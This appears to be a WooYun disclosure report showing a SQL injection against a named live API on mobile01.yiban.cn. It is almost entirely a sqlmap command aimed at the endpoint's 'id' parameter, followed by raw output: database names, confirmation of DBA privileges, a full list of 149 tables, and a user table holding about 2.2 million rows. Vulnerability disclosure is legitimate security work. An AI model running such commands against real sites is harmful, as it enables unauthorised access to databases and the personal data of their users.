WooYun.org

sqlmap.py -u "http://mobile01.yiban.cn/api/pages/v2/action.php?action=commentlist&id=1607817&sid=Ei6LyFJIV0zNNtjhnzISGnj9FI5G/0%20A4lXQNWjIbBxT70XoelvNaTczJa/SgTvUb4LQV0lwW1o=&page=1" -p id --dbs
available databases [8]:
[*] bbscore
[*] bbscore_db
[*] DBA
[*] detection_table
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

current user is DBA: True
DBA权限，其实我不会用，哈哈，但是写上它感觉高大一些。。。
Database: bbscore
[149 tables]
+------------------------+
| 21campus_main |
| 21campus_real_log |
| album |
| album_list |
| album_log |
| area |
| area_class |
| area_collection |
| area_private |
| area_rule |
| art_pool |
| art_topban |
| banner |
| banner_stat |
| banner_weibo |
| bbsvars |
| blog |
| blog_bind |
| blog_circle |
| blog_circle_album |
| blog_circle_article |
| blog_circle_classify |
| blog_circle_kind |
| blog_circle_member |
| blog_circle_message |
| blog_classify |
| blog_cssstyle |
| blog_person_vip |
| blog_relative |
| blog_rss_import_log |
| blog_siteid_log |
| blog_tag |
| blog_view |
| cal_event |
| cal_focus |
| calender |
| choose |
| choose_data |
| christmas_prize |
| citybbs |
| class_count |
| comment |
| commenttmp |
| data_sync |
| db_67_bak |
| db_67_reply_bak |
| db_attatch_bak |
| db_attatch_del_bak |
| db_attatch_tmp_bak |
| db_block_bak |
| db_count_bak |
| db_list_bak |
| db_modify_bak |
| db_opentime_bak |
| db_operlog_bak |
| db_pub_bak |
| db_view_bak |
| dbs_101_bak |
| dbs_101_reply_bak |
| dbs_101_text_bak |
| dbs_102_bak |
| dbs_102_reply_bak |
| dbs_1_bak |
| dbs_1_reply_bak |
| dbs_1_text_bak |
| dbs_28_bak |
| dbs_28_reply_bak |
| dbs_draft_bak |
| directory |
| disk_dir |
| disk_dir_t |
| disk_file |
| disk_file_t |
| disk_temp |
| eclass_comm |
| eclass_config |
| eclass_course |
| eclass_course_tmp |
| eclass_function |
| eclass_gpa |
| eclass_gpa_log |
| eclass_gpa_sort |
| eclass_info |
| eclass_member |
| eclass_new |
| eclass_school_join |
| eclass_subscription |
| egpa_monitor_tmp |
| feed_action_count |
| files |
| filter |
| flower_flow |
| food_search |
| friend |
| friend_class |
| friend_sort |
| help_cat |
| help_question |
| host_info |
| host_info_admin |
| host_jump |
| host_reg |
| icode |
| invite_user |
| loginbanner |
| market |
| market_log |
| mms_history |
| money_flow |
| msg_admin |
| msg_admin_read |
| msg_feed_comment |
| msg_forward |
| msg_system |
| msg_system_bak |
| msg_user |
| msg_user_ext |
| new_year_prize_log |
| new_year_user_allprize |
| new_year_user_log |
| notepad |
| plug_bless |
| redmovie_votedata |
| remote_login |
| report |
| report_list_accept |
| repsend_task |
| rs_report_search |
| school_count |
| session_id |
| share |
| share_file |
| share_keyword |
| share_record |
| shdyzx |
| sign |
| task_report |
| task_upload |
| temp_class |
| topic |
| user_contacts |
| user_contacts_ext |
| user_news_tags |
| vote_bak |
| vote_data_bak |
| weifilm |
| weifilm2 |
| weifilm3 |
| weifilmvote |
+------------------------+
其中找的一个表：
Table: eclass_member
+---------------+---------+
| Table | Entries |
+---------------+---------+
| eclass_member | 2202791 |
+---------------+---------+